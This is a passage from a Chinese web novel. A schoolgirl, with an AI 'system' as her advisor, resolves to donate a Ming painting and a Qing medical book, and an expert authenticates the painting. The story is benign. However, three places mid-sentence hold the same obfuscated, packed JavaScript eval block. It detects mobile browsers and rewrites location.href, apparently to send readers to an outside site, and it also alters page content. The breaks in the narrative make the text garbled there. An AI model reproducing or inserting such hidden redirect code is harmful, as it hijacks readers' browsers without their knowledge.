时建军手里还攥着复习的草稿纸,这会儿也被时墨这严肃的模样吓了一跳,“妹,是不是有人欺负你?我去找他!” 时爱国也保证道:“墨墨,你放心有啥事不用怕,天塌下来有爸顶着。” 看着家人关切的眼神,时墨心里一暖。 她本想将《繁秋山野图》的事和盘托出,可话到嘴边,又硬生生咽了回去。 家属院人多眼杂,邻里最爱串门唠嗑,父母哥哥都是实在人,万一哪天不小心说漏嘴,消息传出去,不仅宝贝不保,还可能给家里招来祸事。 “墨墨,到底啥事?别怕,跟爸妈说。”李秀兰握住女儿有些冰凉的手。 时墨压下心头的波澜,打开了书包,先拿出了那套用报纸包着的《济世良方辑要》,小心地拆开,声音沉稳:“我今天去参加了一个旧物交流会,拍下了这套清代御医手抄的医书,是真东西,有大价值。” 时墨将医书推到桌子中间。 “医书?”时建军拿起一本翻了翻,“这字倒是挺工整,可都破成这样了,买它干啥?” “哥,这不是普通的旧书。”时墨指着上面的文字和版式,“这是清代的木刻本,是一位地方医官的医术汇编,里面很多方子和案例,对现在研究中医可能还有用。它算是古籍,有一定文物价值。” “文物?”时爱国也好奇凑近看了看,他不懂医,也不懂文物,但“文物”两个字还是让他肃然起敬,“就是说……这是古董?” “可以这么说。”时墨点头 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“爸妈,大哥,你们说的对。”时墨顺着他们的话说,“这套医书,我的想法也是捐出去。不过捐之前,我想把里面的内容完整的复印一份留下来,咱们自己也能学习参考,也算是留下个纪念。原件捐给国家的医学院或者中医研究机构,才能发挥最大的作用。” 这个提议合情合理,家人都点头赞同。 “那另外一件东西是啥?”时建军好奇地问。 时墨顿了一下:“是一幅旧画,也是无款无名,看着古朴,我就一起买回来了。不过那画品相更差些,价值可能还不如这套医书。”她故意轻描淡写,“我就自己留着玩了。” 听到价值不大,家人也就不再追问。李秀兰只是叮嘱:“墨墨,你喜欢这些老物件,妈不反对,但千万别影响学习,也别乱花钱。还有,这些东西你自己收好,别到处摆着。咱家虽然没啥值钱东西,但小心总没错。” “妈,你放心,我都放自己屋里,锁好。”时墨保证道,然后看向家人,语气格外认真,“爸妈,还有件事。我屋里这些旧书旧画,虽说可能不值大钱,但也是我的心爱之物。以后不管谁来咱家串门,最多在门口看看,谁也不能碰,更不能往外说我有这些老物件。” 这个要求放在平时可能有点突兀,但结合刚才“古董”、“文物”的说法,家人立刻理解了。 时爱国点头:“行,爸知道了。回头我跟常来串门的老刘、老王他们也打个招呼,说你现在学习紧,屋里都是复习资料,让他们别进去打扰你。” 李秀兰连忙点头:“放心!你那屋妈从来不让外人进,平时连窗户都给你关严实,保证没人碰!”想了想又说,“妈给你缝个厚实点的新门帘挂上。” 时建军拍拍胸脯:“妹,你放心,哥在家就帮你看着不让别人进!” 家人的支持让时墨心头暖暖的,紧绷的神经稍微放松了些。 家庭会议结束,李秀兰继续去做饭,时爱国和时建军也各忙各的。时墨回到自己房间,关上门,背靠着门板,长长地、无声地吐出一口气。 她轻轻从书包最底层拿出那个旧木匣,放在书桌上。昏黄的台灯光线下,木匣陈旧安静。 她伸出手,指尖悬在匣盖上,却迟迟没有打开。 捐出去吗? 像家人对医书的态度一样,将这幅国宝交给国家博物馆,让它得到最专业的保护,在聚光灯下向世人展现它的辉煌?这无疑是最“正确”、最安全、也最能实现其文化价值的路径。 如果运作得当,经由媒体报道,甚至可能唤起社会对流失文物的关注,促进更多国宝回归。 可一想起后世被掉包的事件,便也怕会发生在她身上,不捐?她没有能力保存好。 两种念头在脑海里激烈冲撞,让她心乱如麻。 时墨知道自己现在的状态无法做出冷静决定。 轻轻将木匣锁进自己唯一带锁的抽屉里。 洗漱完毕,时墨躺在了床上。 黑暗中,她睁着眼睛,毫无睡意。 27. 第 27 章 这一夜,时墨睡得极浅。 醒来时,窗外天已微亮。 时墨听着窗外家属院早起的人推车声,摸了把脸,起床。 她得等到九点系统上班,才能有个商量的人,以前早上这段时间都是匆匆忙忙过得如流水,今天难得觉得度秒如年。 上午第二节语文课。 老教师站在讲台上,捧着课本讲《岳阳楼》,粉笔灰在透过窗户的阳光里飘飞,教室里只有翻书声和写字声。 【宿主,早上好哇!】 时墨坐得笔直,笔尖在练习册上工整地记着笔记,目光紧盯黑板,看似全神贯注听课,实则所有心神都沉在了脑海里。 【宿主,检测到你昨晚休息质量偏低,深睡眠时长仅2.7小时,建议——】 【小七,我需要你帮我做一个完整的分析,《繁秋山野图》到底该怎么处理最合适。】时墨打断系统的睡眠建议,严肃道。 【收到指令,开始接收信息。】 时墨深吸一口气,语气郑重道:【这幅画,是明代吴门画派唐周的真迹《繁秋山野图》,国家一级文物。】时墨望着黑板,眼神平静,【后世被列入禁止出境展览的国宝,市场价值能到几十亿。它不是普通古画,是六百年的文脉,是民族的宝贝。】 【我当年在博物馆看到它的时候,隔着玻璃柜,打最专业的灯光,恒温恒湿。普通人想看一眼,要排队、预约、隔着警戒线远远地望。】 【而我在这个时代,花了六百块,从一间不起眼的私人小会上,把它抱回来了。】 【六百块。】时墨重复了一遍这个数字,嘴角动了动,说不清是想笑还是别的什么。 【像白捡的一样。】 教室前排,有个同学扭头借橡皮,时墨若无其事地递过去。 等人转回去,她才继续。 【但我捡到它的时候,心里不是高兴。是怕。】 【怕什么?】系统问。 时墨沉默了很久。 窗外的梧桐叶被风吹动,在玻璃上投下一晃一晃的影。 【怕它折在我手里。】 时墨说出这句话,心头像有什么东西轻轻落了下去。 【它不是我的。它只是借我的手,在这个时代、这个机缘,让我替它走一段路。我不能让它在我这儿出事,我没有能力保存好它。】 系统在试图理解宿主的“怕”。它的数据库里有关于恐惧的定义,对危险的应激反应,神经系统的自我保护机制。可宿主说的“怕”,似乎不是这个意思。 那是一种它无法量化的东西。 【所以你想把它捐出去。】系统说。 【是。】时墨没有犹豫,说出心底最沉的顾虑:【我想捐,可现在的文物管理还不完善,基层文物站懂行的人少,我怕直接捐过去,被人当成普通旧画处理,甚至被经手人私吞、倒卖给外人;我也怕自己现在只是一个高中生,直接找国家文物局,太突兀,会被当成骗子,根本没人理会;要是匿名捐,连个凭证都没有,最后画去哪了都不知道,白费功夫;可公开捐,又怕消息传太快,给家里招祸。】 【我想让它得到最好的保管,想让它公之于众,让更多人知道国宝的价值,唤起大家保护文物的意识,可我怕一步错,步步错。】 【你不觉得奇怪吗?】时墨说,【这么重要的东西,会出现在一个普通的小型交流会上,标价两百块还没人要?】 系统迅速调取当时现场的多维记录。 【持有者身份未知,经手人介绍语焉不详。按照概率模型分析,约82%可能是原持有者不知其真实价值,约13%可能是来历不明急于脱手——】 【所以,】时墨打断它,【它要是悄没声息地“消失”了,捐给哪个单位、被谁经手、最后进了哪间库房——没人知道,也没人在乎。那和它继续被我锁在柜子里,有什么区别?】 系统没有立刻回答。 它在运算宿主这段话背后的潜台词,运算这个时代文物捐赠的制度漏洞,运算如果按照最简单的“直接上交”流程,这幅画可能经历什么—— 接收登记。 入库。 等待鉴定。 等待评级。 等待排期修复。 等待被想起来。 三年五年,十年八年。 或许某天库房盘点,会有人惊讶地问:这是什么时候收进来的? 【我明白了。你不需要它成为一个编号。你需要它被看见,被重视,被放在一个它该在的位置上——并且,让所有人知道,它的由来,它在哪儿。】 时墨的笔尖停住了。 【对!】 窗外起了一阵风。 时墨望着映照在桌面上那片晃动的树影微微笑了。 【信息接收完毕,开始结合1980年代中期的社会制度、行政流程、文物保护体系现状、宿主身份、安全系数、效益最大化,进行全方位数据分析。】系统的声音开始变得严谨,【倒计时10秒,生成最优方案……10、9……3、2、1,方案生成完毕。】 【共生成三套方案,否决两套,最优解为方案三:权威引荐+实名捐赠+公开仪式,风险最低,社会效益最大化。】 时墨攥笔的手突然握紧,压着心跳问:【详细说。】 【方案一:匿名捐赠当地文物站——风险等级五星。基层鉴定能力不足,极易将国宝判定为普通古画,存在流失、私吞、倒卖风险,无任何社会效益,直接否决。】 【方案二:自行写信至国家文物局——风险等级三星半。宿主为高中生,无权威身份背书,信件易被当作无效信息忽略,流程繁琐耗时数月,无安全保障,否决。】 【方案三:文化界权威引荐+实名捐赠+国家级媒体公开仪式——风险等级一星,完美匹配宿主需求。】 系统顿了顿:【此路径综合复杂度最高,需多方协调;但若成功,可实现宿主核心诉求——使该画获得最高级别的重视与公开,最大限度避免被湮没。】 时墨没有任何犹豫:【我选方案三,生产具体方案。】 系统调出一整页密密麻麻的时间线。 【1.人脉依托:通过聚贤斋孙老、唐老引荐,二人是京城资深民间藏家,与首都博物院文物鉴定组、国家文物局文史专家有直接私交,由他们引荐,合情合理,绝不突兀; 2.身份加持:宿主是《青年报》官方报道的见义勇为模范、市一中优秀学生,身份正面干净,实名捐赠无任何安全隐患,官方会高度重视; 3.执行步骤:第一步,先将清代《济世良方辑要》医书,捐赠给市中医研究所,积累正面口碑,打牢基础;第二步,向孙老、唐老坦言无款古画“疑似珍品”,请求引荐故宫专家鉴定;第三步,官方鉴定为真迹后,与国家文物局、故宫博物院签订捐赠协议,明确要求文物入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184199|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 藏故宫永久保管;第四步,邀请《青年报》《北京日报》、北京电视台参与报道,举办小型捐赠仪式; 4.安全保障:全程有民间藏家、官方专家、主流媒体三方见证,彻底杜绝暗箱操作、文物倒卖风险,宿主及家人无任何安全隐患; 5.社会效益:媒体报道后,能唤醒全民文物保护意识,引导民间流失国宝回归公立馆藏,实现这幅画的最大价值。】 时墨惊讶道:【孙老?】 系统以为时墨要孙老信息,立刻调出:【孙老社会关系网络扫描:据观察记录及信息交叉比对,孙老与宋正先先生相交三十年。宋正先,时任国家历史博物馆文物征集委员会委员、国家文物鉴定委员会委员。其人在系统档案中,被誉为“八十年代古书画鉴定界执牛耳者”。】 【宋正先?】时墨被这大牛震撼到了。 【宋正先同时兼任《古物》月刊编委、国家博物馆学会常务理事。若由其出具鉴定意见,此画可直接进入国家级机构视野。且——】 系统顿了下。 【——宋正先素以提携后进、重视民间发现著称。1983年某藏家以三百元购得明代佚名山水,经其鉴定为仇英早期真迹,后由国家博物院征集入藏,《首都日报》曾作专题报道。】 时墨的呼吸停了一瞬:【所以,只要宋正先肯出鉴定……】 【则可通过其关系网络,联系至具备重大捐赠新闻发布能力的机构。如:国家历史博物馆、国家美术馆,或直接对接国家文物局。】 系统将逻辑链条推到最后一步。 【至此,捐赠环节可实现全流程公开。后续媒体报道、荣誉授予等衍生效益,将自然发生。】 系统的分析条理清晰,每一步都贴合八十年代的现实背景,把她所有的顾虑都堵得严严实实。 时墨悬了一整晚的心,终于彻底落了地。 她想起孙老把那方端砚塞进自己手里时,笑着说:“你收下,就当是我谢谢你提醒了我。” 她当时只是觉得,老爷子脾气来得快去得也快,倒是个爽利人。 却没想到,那条线能牵出这样的通路。 下课铃声骤然响起,打断了脑海里的对话。 前桌孙晓梅凑过来:“时墨,你笔记能借我抄抄嘛?” “好啊。”时墨笑着把本子递过去,脸上云淡风轻,眼底却藏着释然的光亮。 她低头看着课本上“先天下之忧而忧”的字句,嘴角悄悄勾起一抹淡笑。 最好的路,系统已推算完毕。 国宝,该回到它的位置。 严肃的话题告已断落,系统提出疑惑:【宿主这或许是你能钻的最大漏洞,你确定这几十亿你不要了?】 时墨沉默良久。 她想起画卷徐徐展开:秋山如屏,繁林似盖。六百年前的笔墨安静地躺眼前,像什么都没经历过,又像什么都经历过了。 【它是华夏历史上浓墨重彩的一笔,不该属于我个人。】 【啊!!!啊——】 系统突然激动的尖叫打断了时墨沉重的感慨。 【我的宿主竟然拒了几十亿,几十亿,我要上报!立刻上报申请阶段性进步!!!】 【哈哈哈哈——我就说我的宿主不爱钱,他们全是污蔑!造谣!毁谤!】 【宿主,你等着,我去了!】 【……额。】系统好像对她有些误会。 28. 第 28 章 周日一早,时墨揣着昨晚写好的信,骑车去了邮局。 时墨以为自己来的够早了,没想到柜台前还排着五六个人,有人寄包裹,有人拍电报。时墨排在队尾,手里攥着那封贴好八分钱邮票的信封,封面工工整整写着:市中医研究所收。 轮到她时,柜台里的中年女人抬眼看了看:“寄信?” “对,挂号信。”时墨把信递进去。 女人称了称,在挂号簿上登记,撕下回执递过来:“拿好了,丢了凭这个查。” “好,谢谢。”时墨接过那张小纸片,小心折好放进口袋。 走出邮局,秋阳正好。 时墨站在台阶上,看着绿色邮车正在倒车,绕开后,蹬上车,往聚贤斋骑去。 * 聚贤斋的门虚掩着。 时墨礼貌叩了两下,推门进去。院子里,唐老师正蹲在石榴树下修剪枝叶,见是她,笑着起身:“时墨来了?今天怎么有空?” “唐老师好,孙老在吗?” “在在在,屋里跟老陈下棋呢。”唐老师朝正房努努嘴,“进去吧。” 时墨穿过院子,在正房门口站定。屋里,孙老和老陈正对坐在八仙桌两侧,棋盘上黑白纵横,战况正酣。 “孙老。”她轻声唤道。 孙老抬头,见是她,脸上笑盈盈招呼道:“小墨?快来快来!”他把手里的棋子一放,“老陈,不下了不下了,小墨来了。” 老陈笑骂:“你这老东西,输棋就找借口。” 时墨笑着走进去,在旁边的椅子上坐下。孙老给她倒了杯茶,关切地问:“今天怎么有空过来?医书的事办妥了?” “还没,我之前上课没看,今早刚给中医研究所寄了信,等他们联系我。”时墨接过茶,目光在两位老人脸上转了一圈,斟酌着开口,“孙老,我今天来,是有件重要的事想跟您说。” 孙老见她神色郑重,放下茶杯:“什么事?你说。” 时墨缓缓开口:“是关于上周我拍下的那幅画。” “那幅无款的?”老陈也来了兴趣,“怎么,看出名堂了?” “是。”时墨指尖轻轻攥了攥,抬眼看向两人,一字一句道,“这几天我反复研究,对照着古籍里的笔法、绢质细看,心里有了个大胆的猜测——这画,恐怕不是普通吴门画派作品,我怀疑,它是唐周的《繁秋山野图》。” 话音落下,屋里静得可怕。 “哐当”一声,孙老手里的茶盏磕在桌上,茶水溅出半滴 老陈的棋子从指间滑落,啪嗒一声砸在棋盘上。 “什么?”孙老声音都变了调,“唐周?那个唐周?!” “明代吴门画派的唐周?”老陈腾地站起来,“小墨,这话可不能乱说!” 唐老师听到几人谈话走了进来,眼神里满是震惊:“时墨,这事可不是闹着玩的,无款古画断代难,辨人更难。” 时墨早有准备,语气笃定道:“我知道这听起来像天方夜谭。但前辈,您们仔细想想——那幅画的笔法,那山石的层次,那云水的留白,那种扑面而来的气韵,真的是普通吴门画派能做到的吗?” 孙老张了张嘴,说不出话,努力回忆当天的场景。 他想起那天展开画轴时,自己心里曾掠过的一丝异样——那山,那树,那若有若无的题跋痕迹……可他当时只当是无款画,没往深处想。 “你有几分把握?”老陈盯着她,声音发紧。 时墨沉默片刻:“九分。” 九分。 这个数字像块石头砸进水里,激得三人面面相觑。 “画呢?”孙老急切地问,“带来了吗?” 时墨摇头,解释道:“没有。我不是不信任各位前辈,而且我不敢带。一是怕路上有个闪失,磕了碰了;二是……”她顿了顿,“这画年头久远,绢面脆,来回折腾怕有损坏,等确定了要找专家鉴定,我再妥善取来更为稳妥。” 这话合情合理,几人都是玩收藏的,最懂珍惜老物件,瞬间明白了她的顾虑。 孙老明白,时墨是怕那脆弱的绢本经不起折腾。这种敬畏心,不是真正珍视文物的人,是装不出来的。 他慢慢坐回椅子上,手指无意识地敲着桌面,半晌,叹了口气:“你这丫头……你这丫头胆子也太大了。六百块钱,你就敢拍?” “当时只是觉得此画气韵不凡不能错过。”时墨如实道,“回来细看才越看越不对劲。” 老陈来回踱步,忽然停下:“老孙,你记不记得宋正先那回?八三年,有人三百块买的那幅山水,后来鉴定出来是仇英真迹。这事儿……” “对对对!”孙老一拍大腿,“宋正先!我怎么把他给忘了!” 他转向时墨,眼睛亮得惊人:“小墨,我有个老朋友,叫宋正先,是历史博物馆文物鉴定委员会的,全国书画鉴定这一行,他说第二没人敢说第一。要是能请动他看一眼绝对能断定真假。” 唐老也点头附和:“宋老眼毒心正,由他鉴定最稳妥。小墨,你这心思细,考虑得周全,没带画是对的,这宝贝可经不起半点闪失。” “我就是这个意思。”时墨接话,“我自己眼力有限,再怎么琢磨也只是猜测。如果能请真正的专家鉴定,是真是假,一锤定音。如果是真的,这幅画该去哪儿,该由谁保管,我心里才有底。” 孙老看着她,目光复杂。 这姑娘,才十八岁。 从认出赝品,到低价拍下疑似真迹,能沉住气不声张,直到今天来找他——每一步都踩在点子上,每一步都想在了前头。 换成其他如她这般年纪的人,早嚷嚷得恨不得满世界都知道,或者偷偷藏起来等升值。可她呢?想着的是“该去哪儿”“该由谁保管”。 “你放心。”孙老站起身,拍了拍她的肩,“这事儿我管到底。明天我就去找宋正先,他在东城有个小院,时常回去住。我把情况跟他说,看他什么时候方便。” 老陈补充道:“宋正先那人最重真东西,要是知道有这种可能,爬也要爬过来看。” 时墨心里的石头落下一半,起身郑重鞠了一躬:“麻烦孙老了。” “别别别!”孙老赶紧扶住她,“你这丫头,这是给我们这些老家伙送大礼呢。要是真……那我们在聚贤斋聊一辈子,也算没白聊。” 送时墨出门时,孙老忽然叫住她:“小墨,医书那事,你也抓紧办。两件事凑一块儿,说不定有好处。” 时墨心领神会:“嗯我知道,谢谢孙老提醒,那我先回了。” “路上慢点骑,注意安全。” “好!” * 周一下午,第一节课刚上课,班主任就匆匆走进教室,朝她招手:“时墨,出来一下,校长室有人找。” 教室里的同学都好奇地望过来,时墨心里一动,猜到是中医研究所来人了。 推开校长室的门,里面坐着三个人。 校长坐在办公桌后,见她进来,笑着招手:“时墨同学,快来快来,这几位是市中医研究所的领导,专程来找你的。” 时墨看向那三人——为首的是个五十来岁,面容和善的中年男人;旁边是个三十出头的女同志,短发齐耳,拿着笔记本;还有个年轻人,像是司机或办事员。 “时墨同学你好,我姓周,是市中医研究所的副所长。”中年男人站起身,热情地伸出手,“收到你的信,我们研究所上下都很重视,今天就赶紧过来了。” 时墨握了握手,礼貌道:“周所长好,辛苦你们跑一趟。” “不辛苦不辛苦!”周所长笑呵呵的,“你说的是清代木刻本的《济世良方辑要》?这个书名我们在资料里见过,一直想找善本,可惜没找到。你能详细说说吗?” 时墨点点头:“是八册全的,清中期刻本,扉页有原收藏者的题跋,内容是一位姓陈的地方医官汇集的临床验方,涉及内科、外科、妇科、儿科,还有不少疫病防治的方子。书页有虫蛀,但内容基本完整。” 周所长眼睛越听越亮,和旁边的女同志交换了个眼神。 “时墨同学,书现在在哪儿?”周所长问道。 “在家里。”时墨笑着解释,“我怕天天带着万一有闪失,如果你们方便,明天可以约个时间,我把书带来学校,你们看看。” “方便方便!”周所长连忙说,“那我们明天下午这个时间过来?你看行吗?” “可以。” 送走中医研究所的人,校长把时墨叫住:“时墨,你等等。” 时墨站住。 校长背着手,在办公室里踱了两步,忽然问:“你那个医书,确定是清代的老东西?” “确定的,校长。” 校长点点头,沉吟片刻:“要是明天研 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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正说着,校长室的门又被敲响了。 老吴起身开门,门外站着两个人——一个扛着相机的年轻男人,和一个拿着笔记本的女记者。正是《青年报》的方记者和他的同事。 “吴校长!”方记者热情地打招呼,“听说你们学校又有好事?” 老吴笑着把他们往里让:“来得正好来得正好,快进来。” 方记者一进门,看见茶几上的古书和几位研究所的人,立刻意识到有新闻。她冲时墨挤挤眼:“时墨同学,咱们又见面了。” 时墨笑着点点头。 接下来的一切,顺利得像排练过。 陈老当场确认了医书的真伪和价值,周副所长代表研究所,郑重向时墨表示感谢,并提出希望正式接收这批古籍。 《青年报》的记者小李扛着相机,“咔嚓咔嚓”拍着照片,方记者笑着问:“时墨同学,你为什么想到把这么珍贵的医书捐出去呢?” 时墨笑得坦然:“这书是老祖宗留下的宝贝,能用来救人、研究,放到我手里只会掩盖它的光芒” 校长在一旁笑得合不拢嘴,不停夸:“时墨同学是我们学校的优秀学生,品德好,成绩优,一直都是同学们的榜样!” 正当交接仪式热热闹闹进行时,会议室的门被匆匆推开。 打头的是孙老,一身崭新的藏青中山装,头发梳得一丝不苟,脸上的表情既兴奋又紧张。他身后跟着一位清瘦的老者,满头银发,面容清癯,气度儒雅沉稳,一看就是学识渊博的大家。再后面,是唐老师。 “吴校长!”孙老嗓门洪亮,“我给你们学校送贵客来了!这位是——呃?” 他的话卡在嗓子眼里。 因为此刻,校长室里站着满满当当一屋子人——两个拿相机的记者,几个穿中山装的干部,茶几上还摆着刚收起来的帆布袋,一派热闹景象。 屋里的人也都转过头,看着门口这不请自来的三位老者。 时墨站在人群中央,看着孙老愣住的表情,和他身后那位银发老者若有所思的目光,心里只有一个念头——巧了,全撞一块儿了。 “孙老?”她连忙迎上去,“您怎么这时候来了?” 29. 第 29 章 孙老这才回过神来,看看屋里的人,又看看她,压低声音问:“你这儿……这是干什么呢?” “医书捐赠,刚办完。”时墨也小声说,“《青年报》的记者来拍照。” 孙老的表情顿时变得微妙起来。 他身后那位银发老者忽然轻轻笑了,声音温和:“老孙,看来我们来得不巧?” “不不不!”孙老赶紧摆手,然后凑到时墨耳边,声音压得更低,“小墨,这位就是我跟你说的宋正先宋老。我好不容易把他请来,想让他看看那画,结果你这儿……这……” 时墨脑子转得飞快。 她抬起头,正对上那位银发老者的目光。对方打量着她,眼神里没有被打扰的不耐,反而带着几分兴味。 “宋老您好,我是时墨。”她微微欠身,礼貌地问候,然后转向孙老,语气从容,“既然您们来了,要不……先坐?这边刚结束,正好可以聊聊。” 孙老看看她,又看看宋正先,再看看屋里那一群不明所以的人,一时不知道该怎么接话。 倒是宋正先开口了,依旧是不紧不慢的语气:“老孙,你这小朋友倒是沉得住气。行,那就坐坐。” 他迈步走进校长室,目光扫过茶几上的空帆布袋,扫过那两个记者,最后落在时墨身上。 “老孙把你夸得天上有地下无。”宋正先眼里带着淡淡的笑意,“说你一眼认出赝品,还说你在交流会上低价拍到一幅画,怀疑是真迹——又说你沉得住气,没声张,先来找他商量。” 他顿了顿,语气里多了一丝认真:“现在看你这边的阵仗,我倒有点好奇了——那幅画,是不是比这医书,还要有意思?” 时墨迎着那道目光,没有躲闪。 “宋老。”她说,“医书已经在这儿了,您随时可以看。那幅画,我明天带来,请您过目。” 屋里静了一瞬。 宋正先看着她,忽然笑了:“择日不如撞日,今天若是有空,我们可直接去你家拜访。” 去家里? 时墨下意识看向孙老,孙老冲她点点头,眼神里满是“放心”的意味。 时墨又看向屋里其他人,不料几人全都竖着耳朵,目光在她和宋正先之间来回转。 “宋老,您稍等。”时墨转过身,对周副所长歉意地笑笑,“周所长,今天这事儿有点突发,我……” “没关系没关系!”周副所长连忙摆手,他在文博系统待了半辈子,宋正先的名字如雷贯耳——那是国内书画鉴定界的定海神针,等闲不出山,今天竟然为了一幅画亲自过来,这画的分量可想而知。 陈老率先开口,语气里带着按捺不住的好奇:“时墨小同志,我们今天也没别的安排,要是不麻烦的话,我们也想跟着开开眼界,长长见识。” 方记者更直接,她已经凑到孙老跟前,压低声音问:“老爷子,这位宋老是……?” 孙老看了眼宋正先,见他微微点头,才开口道:“宋正先,历史博物馆文物鉴定委员会的。” 方记者倒吸一口凉气。 她虽然不懂书画,但“历史博物馆”“文物鉴定委员会”这几个字砸下来,分量多重她心里门清。 “那幅画……”她的声音都变了调,“比这医书还厉害?” 孙老没答话,只是意味深长地笑了笑。 时墨看向校长。 方记者立刻往前半步:“吴校长,时墨同学,我们报社正好要做一期青少年文物保护的专题,今天这事儿太有代表性了,您看我们能不能跟着一起,把整个事迹完整记录下来?绝对不添乱!” “去!都去!”吴校长这会儿已经激动得满脸放光,大手一挥直接给她批了剩下半天的假,转头就握住宋正先的手,满脸恭敬:“宋老!久仰大名久仰大名!没想到今天能见到您这位大家!时墨是我们学校的学生,她的事就是我们学校的事,我跟你们一起去,也好有个照应!” 时墨:“……” 孙老看着一屋子人都要跟着去,先是愣了愣,随即也笑了——人多更好,人多眼杂,反而能把这事摊在阳光下,省得后续有什么是非。 他拍了拍宋正先的胳膊:“老宋,你看,我们这队伍可是越来越壮大了。” 宋正先看着时墨,见她脸上半点慌乱都没有,依旧是那副从容淡定的模样,眼里的欣赏又多了几分,笑着点头:“无妨,都是爱文物的人,一起看看也好。” * 二十分钟后,红星机械厂家属院门口,一溜车停了下来。 打头的是宋老的黑色上海牌轿车;中医研究所的小面包车紧跟其后。 车刚停稳,就看见李秀兰拎着菜篮子从拐角处走过来。 她看着楼下停着两辆小轿车,乌泱泱下来一群人,领头的竟然是自己女儿,脚步顿了一下,随即加快走过来,上下扫了一眼见闺女好好的,悬着的心先落了一半:“墨墨,怎么回事?带这么多同志回家?” “妈,进屋再说,是好事。”时墨接过菜篮子,压低声音,“都是文博系统和学校的老师、领导,还有报社的记者同志。” 李秀兰没再多问,目光快速扫过这群人,心里有了数:“行,那先上楼。” 她冲众人点点头,客气地笑了笑,在前头带路:“同志们跟我来,楼里光线暗,脚下留神。” 一群人呼啦啦涌进时家那间不大的小三居。客厅一下子挤进来十来个人,瞬间显得逼仄许多。 李秀兰把手里的菜篮子往门口一放,先笑着冲众人扬了扬声:“各位同志快别站着,地方窄,大家多担待,能坐的先坐!” 话音落,她转身就进了厨房,从碗柜里翻出十几个茶杯,水龙头开得哗哗响,洗杯子、擦杯壁、倒晾好的白开水,动作麻利得不带一点拖泥带水,十几秒就端出来花色不一样的杯子。一边倒水一边笑着招呼:“杯子不够用,我拿几个搪瓷缸替上,别嫌弃啊。” 没等凳子不够用,她已经敲开隔壁邻居的门,大大方方借了三把凳子回来:“家里地方小,委屈大家挤挤了。” 时墨没急着拿画,先把客厅的方桌擦了三遍,又找了块干净的白粗布仔仔细细铺在木桌上,连一点褶皱都抚平了。 李秀兰倒完水,见闺女忙活,顺手递过去一块干净的干抹布,指尖碰了碰她的手背,无声递了个“放心,妈在”的眼神,便退到一旁,没往前凑添乱。 众人都自觉地放轻了脚步,围在桌子周围,连大气都不敢喘,屋里静得只能听见李秀兰轻手轻脚归置东西的声响。 等一切收拾妥当,时墨才转身进了自己房间。再出来时,手里捧着个木匣。 客厅里,所有人自动让出一片空地。 李秀兰站在角落,没有凑上去,只是安静地看着。 宋正先接过木匣,没有立刻打开,而是先端详了片刻匣子的木质和做工,然后才轻轻掀开盖子。 宋正先的手稳得惊人,指尖捏着画轴的天杆,缓缓展开。 先是一角泛黄的绢本露出来,带着岁月沉淀下来的暗哑光泽,随即,山石的轮廓、秋树的枝桠一点点铺展开来。 秋山,繁林,溪流,屋舍。 六百年时光凝固在那一方绢帛上。 屋里静得能清晰听到隔壁炒菜聊天声。 宋正先表情严肃,眉头微蹙,俯下身,眼睛几乎贴在画面上。 他从随身带的布包里掏出放大镜,贴着绢面,一寸一寸地扫过山石的画法、树叶的点染;等看到中段的云水留白,他的呼吸明显顿了一下,拿着放大镜的手微微发颤,连带着指尖都泛了白;等画卷完全展开,看到右下角那处被磨去、却依旧能看出浅淡痕迹的题跋印鉴时,他猛地摘下老花镜,凑到窗边,借着自然光反复看了许久,又掏出软毛刷,极轻极轻地扫过绢面的纹理,动作小心得像在触碰初生的婴儿。 五分钟。 十分钟。 二十分钟。 屋里没人敢出声。 孙老和唐老师懂行,凑在旁边看着,脸上满是紧张,连嘴都抿成了一条线;陈老盯着画卷,嘴里不停低喃着“不得了,这笔法,这气韵”;吴校长和周所长虽然不懂书画,也被这氛围压得不敢出声。 方记者举着相机,快门都不敢按,怕那“咔嚓”声惊着这位老人。 忽然,宋正先直起腰,摘下放大镜。 他的眼眶有些发红,用衣角擦了擦镜片,又擦了擦眼角,半晌没说话。 孙老忍不住了,声音都发紧:“老宋,怎么样?到底……是不是?” “老孙。”他的声音微微发颤,指着画面左下角一处极淡的痕迹,“你看这儿。” 孙老凑过去,眯着眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192743|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了半天:“这是……?” “水渍遮盖了,但仔细看,能看见‘唐周’二字的残笔。”宋正先的手指悬在画面上方,不敢触碰,“还有这方印,只剩四分之一,但印文风格,是唐周惯用的‘石田’朱文印。” 他直起身,目光落在时墨身上,复杂得像一潭深水。 “小姑娘,你知不知道,你拍回来的是什么?” 时墨迎着他的目光,语气平静:“唐周的《繁秋山野图》。” “你确定?” “我猜的。”时墨故作轻松道,“现在您确定了。” 宋正先愣了一下,随即哈哈大笑。那笑声在逼仄的客厅里回荡,惊得窗外的麻雀扑棱棱飞走了。 “好!好!好!”他连说了三个好字,转向孙老,“老孙,你跟我说这姑娘眼力毒,我还不信。现在我信了!” 他又看向那幅画,脸上的笑容渐渐收敛,取而代之的是凝重。 